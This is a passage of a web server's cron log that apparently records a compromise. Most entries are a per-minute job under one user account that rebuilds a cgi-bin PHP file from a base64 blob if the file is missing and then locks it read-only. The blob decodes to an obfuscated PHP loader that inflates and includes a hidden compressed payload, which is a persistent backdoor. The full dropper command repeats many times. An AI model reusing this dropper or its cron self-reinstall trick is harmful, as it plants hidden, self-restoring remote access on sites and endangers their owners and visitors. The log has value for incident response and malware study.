luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:44:01 server CROND[1773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:45:01 server CROND[1949]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 00:45:01 server CROND[1950]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 00:45:01 server CROND[1951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:46:01 server CROND[2064]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:47:01 server CROND[2152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:48:01 server CROND[2219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:49:01 server CROND[2312]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:50:01 server CROND[2537]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 00:50:01 server CROND[2538]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 00:50:01 server CROND[2539]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 00:50:01 server CROND[2540]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 00:50:01 server CROND[2541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:51:01 server CROND[2662]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:52:01 server CROND[2722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:53:01 server CROND[2792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:54:01 server CROND[2866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:55:01 server CROND[2933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:55:01 server CROND[2934]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 00:55:01 server CROND[2935]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 00:56:02 server CROND[3146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:57:01 server CROND[3211]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 00:57:01 server CROND[3212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 